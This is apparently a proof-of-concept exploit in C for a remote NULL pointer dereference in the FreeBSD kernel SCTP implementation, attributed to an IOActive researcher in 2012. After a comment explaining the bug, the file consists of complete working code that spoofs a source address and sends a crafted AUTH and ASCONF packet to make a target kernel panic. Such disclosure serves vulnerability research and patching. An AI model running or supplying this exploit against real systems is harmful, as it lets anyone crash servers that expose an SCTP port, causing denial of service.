1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353 | /*
* FreeBSD kernel SCTP (latest release) remote NULL ptr dereference DoS
*
* by Shaun Colley <scolley@ioactive.com>, 2 Aug 2012
*
* The SCTP implementation used by FreeBSD ("reference implementation") is vulnerable to a remote
* NULL pointer dereference in kernel due to a logic bug. When parsing ASCONF chunks, an attempt is
* made to find an association by address. if the address found is INADDR_ANY, sctp_findassoc_by_vtag()
* is called and an attempt is made to find an association by vtag. Before searching for the vtag in a
* hash table, a pointer is set to NULL, with the intention of redefining it after finding the association.
* However, if the specified vtag is not found, the function returns and the ptr is never reinitialised,
* causing a kernel panic when the NULL pointer is later dereferenced by the SCTP_INP_DECR_REF macro when
* flow returns to sctp_process_control().
*
* i.e.
*
* static struct sctp_tcb *
* sctp_findassoc_by_vtag(struct sockaddr *from, uint32_t vtag,
* struct sctp_inpcb **inp_p, struct sctp_nets **netp, uint16_t rport,
* uint16_t lport, int skip_src_check)
*
* {
*
* [ ... ]
*
* *netp = NULL;
* *inp_p = NULL;
*
* [ ... ]
*
* head = &sctppcbinfo.sctp_asochash[SCTP_PCBHASH_ASOC(vtag,
* 1690 sctppcbinfo.hashasocmark)];
* if (head == NULL) {
* // invalid vtag
* SCTP_INP_INFO_RUNLOCK();
* return (NULL);
* }
*
* The page fault is a write AV at 0x0 + 0x33c but since there is no associated user context, this
* doesn't appear to be exploitable (i.e. by mapping the NULL page)
*
* Tested against FreebSD 8.2-RELEASE but latest release is also vulnerable. The target system must have an open
* SCTP port
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <netinet/ip.h>
#include <netdb.h>
#include <string.h>
/* sctp checksum implementation, basically ripped from wireshark */
#define SP_LEN 2
#define DP_LEN 2
#define VTAG_LEN 4
#define CHK_LEN 4
#define HEADER_LEN (SP_LEN + DP_LEN + VTAG_LEN + CHK_LEN)
#define CRC32C(c, d) (c = (c >> 8) ^ crc_c[(c ^(d)) & 0xFF])
/* SCTP chunk types */
#define SCTP_AUTH 0x0f
#define SCTP_ASCONF 0xc1
static int crc_c[256] = {
0x00000000L, 0xF26B8303L, 0xE13B70F7L, 0x1350F3F4L,
0xC79A971FL, 0x35F1141CL, 0x26A1E7E8L, 0xD4CA64EBL,
0x8AD958CFL, 0x78B2DBCCL, 0x6BE22838L, 0x9989AB3BL,
0x4D43CFD0L, 0xBF284CD3L, 0xAC78BF27L, 0x5E133C24L,
0x105EC76FL, 0xE235446CL, 0xF165B798L, 0x030E349BL,
0xD7C45070L, 0x25AFD373L, 0x36FF2087L, 0xC494A384L,
0x9A879FA0L, 0x68EC1CA3L, 0x7BBCEF57L, 0x89D76C54L,
0x5D1D08BFL, 0xAF768BBCL, 0xBC267848L, 0x4E4DFB4BL,
0x20BD8EDEL, 0xD2D60DDDL, 0xC186FE29L, 0x33ED7D2AL,
0xE72719C1L, 0x154C9AC2L, 0x061C6936L, 0xF477EA35L,
0xAA64D611L, 0x580F5512L, 0x4B5FA6E6L, 0xB93425E5L,
0x6DFE410EL, 0x9F95C20DL, 0x8CC531F9L, 0x7EAEB2FAL,
0x30E349B1L, 0xC288CAB2L, 0xD1D83946L, 0x23B3BA45L,
0xF779DEAEL, 0x05125DADL, 0x1642AE59L, 0xE4292D5AL,
0xBA3A117EL, 0x4851927DL, 0x5B016189L, 0xA96AE28AL,
0x7DA08661L, 0x8FCB0562L, 0x9C9BF696L, 0x6EF07595L,
0x417B1DBCL, 0xB3109EBFL, 0xA0406D4BL, 0x522BEE48L,
0x86E18AA3L, 0x748A09A0L, 0x67DAFA54L, 0x95B17957L,
0xCBA24573L, 0x39C9C670L, 0x2A993584L, 0xD8F2B687L,
0x0C38D26CL, 0xFE53516FL, 0xED03A29BL, 0x1F682198L,
0x5125DAD3L, 0xA34E59D0L, 0xB01EAA24L, 0x42752927L,
0x96BF4DCCL, 0x64D4CECFL, 0x77843D3BL, 0x85EFBE38L,
0xDBFC821CL, 0x2997011FL, 0x3AC7F2EBL, 0xC8AC71E8L,
0x1C661503L, 0xEE0D9600L, 0xFD5D65F4L, 0x0F36E6F7L,
0x61C69362L, 0x93AD1061L, 0x80FDE395L, 0x72966096L,
0xA65C047DL, 0x5437877EL, 0x4767748AL, 0xB50CF789L,
0xEB1FCBADL, 0x197448AEL, 0x0A24BB5AL, 0xF84F3859L,
0x2C855CB2L, 0xDEEEDFB1L, 0xCDBE2C45L, 0x3FD5AF46L,
0x7198540DL, 0x83F3D70EL, 0x90A324FAL, 0x62C8A7F9L,
0xB602C312L, 0x44694011L, 0x5739B3E5L, 0xA55230E6L,
0xFB410CC2L, 0x092A8FC1L, 0x1A7A7C35L, 0xE811FF36L,
0x3CDB9BDDL, 0xCEB018DEL, 0xDDE0EB2AL, 0x2F8B6829L,
0x82F63B78L, 0x709DB87BL, 0x63CD4B8FL, 0x91A6C88CL,
0x456CAC67L, 0xB7072F64L, 0xA457DC90L, 0x563C5F93L,
0x082F63B7L, 0xFA44E0B4L, 0xE9141340L, 0x1B7F9043L,
0xCFB5F4A8L, 0x3DDE77ABL, 0x2E8E845FL, 0xDCE5075CL,
0x92A8FC17L, 0x60C37F14L, 0x73938CE0L, 0x81F80FE3L,
0x55326B08L, 0xA759E80BL, 0xB4091BFFL, 0x466298FCL,
0x1871A4D8L, 0xEA1A27DBL, 0xF94AD42FL, 0x0B21572CL,
0xDFEB33C7L, 0x2D80B0C4L, 0x3ED04330L, 0xCCBBC033L,
0xA24BB5A6L, 0x502036A5L, 0x4370C551L, 0xB11B4652L,
0x65D122B9L, 0x97BAA1BAL, 0x84EA524EL, 0x7681D14DL,
0x2892ED69L, 0xDAF96E6AL, 0xC9A99D9EL, 0x3BC21E9DL,
0xEF087A76L, 0x1D63F975L, 0x0E330A81L, 0xFC588982L,
0xB21572C9L, 0x407EF1CAL, 0x532E023EL, 0xA145813DL,
0x758FE5D6L, 0x87E466D5L, 0x94B49521L, 0x66DF1622L,
0x38CC2A06L, 0xCAA7A905L, 0xD9F75AF1L, 0x2B9CD9F2L,
0xFF56BD19L, 0x0D3D3E1AL, 0x1E6DCDEEL, 0xEC064EEDL,
0xC38D26C4L, 0x31E6A5C7L, 0x22B65633L, 0xD0DDD530L,
0x0417B1DBL, 0xF67C32D8L, 0xE52CC12CL, 0x1747422FL,
0x49547E0BL, 0xBB3FFD08L, 0xA86F0EFCL, 0x5A048DFFL,
0x8ECEE914L, 0x7CA56A17L, 0x6FF599E3L, 0x9D9E1AE0L,
0xD3D3E1ABL, 0x21B862A8L, 0x32E8915CL, 0xC083125FL,
0x144976B4L, 0xE622F5B7L, 0xF5720643L, 0x07198540L,
0x590AB964L, 0xAB613A67L, 0xB831C993L, 0x4A5A4A90L,
0x9E902E7BL, 0x6CFBAD78L, 0x7FAB5E8CL, 0x8DC0DD8FL,
0xE330A81AL, 0x115B2B19L, 0x020BD8EDL, 0xF0605BEEL,
0x24AA3F05L, 0xD6C1BC06L, 0xC5914FF2L, 0x37FACCF1L,
0x69E9F0D5L, 0x9B8273D6L, 0x88D28022L, 0x7AB90321L,
0xAE7367CAL, 0x5C18E4C9L, 0x4F48173DL, 0xBD23943EL,
0xF36E6F75L, 0x0105EC76L, 0x12551F82L, 0xE03E9C81L,
0x34F4F86AL, 0xC69F7B69L, 0xD5CF889DL, 0x27A40B9EL,
0x79B737BAL, 0x8BDCB4B9L, 0x988C474DL, 0x6AE7C44EL,
0xBE2DA0A5L, 0x4C4623A6L, 0x5F16D052L, 0xAD7D5351L,
};
static unsigned int sctp_crc32c(const unsigned char *buf, unsigned int len) {
unsigned int i;
unsigned int crc32 = ~0U;
unsigned int r;
unsigned char b0, b1, b2, b3;
for(i = 0; i < SP_LEN + DP_LEN + VTAG_LEN; i++)
CRC32C(crc32, buf[i]);
CRC32C(crc32, 0);
CRC32C(crc32, 0);
CRC32C(crc32, 0);
CRC32C(crc32, 0);
for (i = HEADER_LEN; i < len; i++)
CRC32C(crc32, buf[i]);
r = ~crc32;
b0 = r & 0xff;
b1 = (r >> 8) & 0xff;
b2 = (r >> 16) & 0xff;
b3 = (r >> 24) & 0xff;
crc32 = ((b0 << 24) | (b1 << 16) | (b2 << 8) | b3);
return crc32;
}
/* basic sctp header */
struct sctphdr {
unsigned short sport;
unsigned short dport;
unsigned int vtag;
unsigned csum;
};
/* sctp chunk header */
struct sctp_chunkhdr {
unsigned char type;
unsigned char flags;
unsigned short length;
};
/* ASCONF chunk */
struct sctp_asconf_chunk {
struct sctp_chunkhdr ch;
unsigned int serial;
};
/* AUTH chunk */
struct sctp_auth_chunk {
struct sctp_chunkhdr ch;
unsigned short shared_key_id;
unsigned short hmac_id;
unsigned char hmac[0];
};
/* SCTP parameter header */
struct sctp_paramhdr {
unsigned short type;
unsigned short length;
};
/* ipv4 address parameter */
struct sctp_ipv4addr_param {
struct sctp_paramhdr ph;
unsigned int addr;
};
/* standard crc32 IP checksum */
unsigned short checksum(unsigned short *addr, int len) {
int nleft = len;
unsigned int sum = 0;
unsigned short *w = addr;
unsigned short answer = 0;
while(nleft > 1) {
sum += *w++;
nleft -= 2;
}
if(nleft == 1) {
*(unsigned char *)(&answer) = *(unsigned char *)w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return answer;
}
int main(int argc, char *argv[]) {
int sock = 0, ret = 0;
int on = 1; /* for setsockopt() call */
struct ip *iph = NULL;
struct sctphdr *sctph = NULL;
struct sctp_auth_chunk *auth_chunk = NULL;
struct sctp_asconf_chunk *asconf_chunk = NULL;
struct sctp_ipv4addr_param *ipv4_addr = NULL;
char *crash = NULL;
struct sockaddr_in sin;
struct hostent *hp = NULL;
printf("\n[*] freebsd sctp remote NULL ptr dereference\n\n");
if(argc < 3) {
printf("usage: %s <host> <port>\n\n", argv[0]);
return -1;
}
sock = socket(AF_INET, SOCK_RAW, IPPROTO_SCTP);
if(sock < 0) {
printf("[*] error making socket!\n");
return -1;
}
/* tell the kernel not to put any IP headers in */
if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
printf("[*] setsockopt() error\n");
return -1;
}
hp = gethostbyname(argv[1]);
if(!hp) {
printf("[*] couldn't resolve %s\n\n", argv[1]);
return -1;
}
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(atoi(argv[2]));
memcpy((char *)&sin.sin_addr, hp->h_addr, hp->h_length);
crash = malloc(20000);
if(!crash) {
printf("\n[*] couldn't allocate memory\n");
return -1;
}
printf("[*] building crash packet..\n");
memset(crash, 0x00, 20000);
/* fill in IP header */
iph = (struct ip *)crash;
iph->ip_hl = 5;
iph->ip_v = 4;
iph->ip_tos = 0;
iph->ip_len = 0; /* fill in later when we know... */
iph->ip_id = htons(1337);
iph->ip_off = 0;
iph->ip_ttl = 250;
iph->ip_p = 132; /* sctp */
iph->ip_sum = 0;
iph->ip_src.s_addr = inet_addr("1.3.3.7");
iph->ip_dst.s_addr = sin.sin_addr.s_addr;
/* fill in SCTP header */
sctph = (void *)crash + sizeof(struct ip);
sctph->sport = htons(0x1234);
sctph->dport = htons(atoi(argv[2]));
sctph->vtag = htonl(0x12345); /* deliberately wrong */
sctph->csum = 0;
/* build AUTH chunk */
auth_chunk = (void *)crash + sizeof(struct ip) + sizeof(struct sctphdr);
auth_chunk->ch.type = SCTP_AUTH;
auth_chunk->ch.length = htons(8 + sizeof(struct sctp_auth_chunk));
auth_chunk->hmac_id = htons(0x1337);
memset((void *)auth_chunk->hmac, 0x61, 8);
/* build ASCONF chunk */
asconf_chunk = (void *)crash + sizeof(struct ip) + sizeof(struct sctphdr) + sizeof(struct sctp_auth_chunk) + 8;
asconf_chunk->ch.type = SCTP_ASCONF;
asconf_chunk->ch.length = htons(sizeof(struct sctp_asconf_chunk) + sizeof(struct sctp_ipv4addr_param));
asconf_chunk->serial = 0x41414141; /* whatever */
ipv4_addr = (void *)crash + sizeof(struct ip) + sizeof(struct sctphdr) + sizeof(struct sctp_auth_chunk)
+ 8 + sizeof(struct sctp_asconf_chunk);
ipv4_addr->ph.length = htons(sizeof(struct sctp_ipv4addr_param));
ipv4_addr->ph.type = htons(0x0005);
ipv4_addr->addr = INADDR_ANY; /* this takes us down the bad code path */
/* what's the length of the whole packet? */
iph->ip_len = sizeof(struct ip) + sizeof(struct sctphdr) + sizeof(struct sctp_auth_chunk) + 8 + sizeof(struct sctp_asconf_chunk)
+ sizeof(struct sctp_ipv4addr_param);
/* calculate IP checksum */
iph->ip_sum = checksum((unsigned short *)crash, iph->ip_len >> 1);
/* calculate SCTP checksum */
sctph->csum = htonl(sctp_crc32c((const unsigned char *)sctph, sizeof(struct sctphdr) + sizeof(struct sctp_auth_chunk) + 8
+ sizeof(struct sctp_asconf_chunk)
+ sizeof(struct sctp_ipv4addr_param)));
printf("[*] sending packet..\n\n");
/* send the bad packet */
ret = sendto(sock, crash, iph->ip_len, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr));
if(ret < 0) {
printf("[*] error sending packet\n");
return -1;
}
printf("[*] done, bad packet sent!\n\n");
free(crash);
close(sock);
return 0;
}
|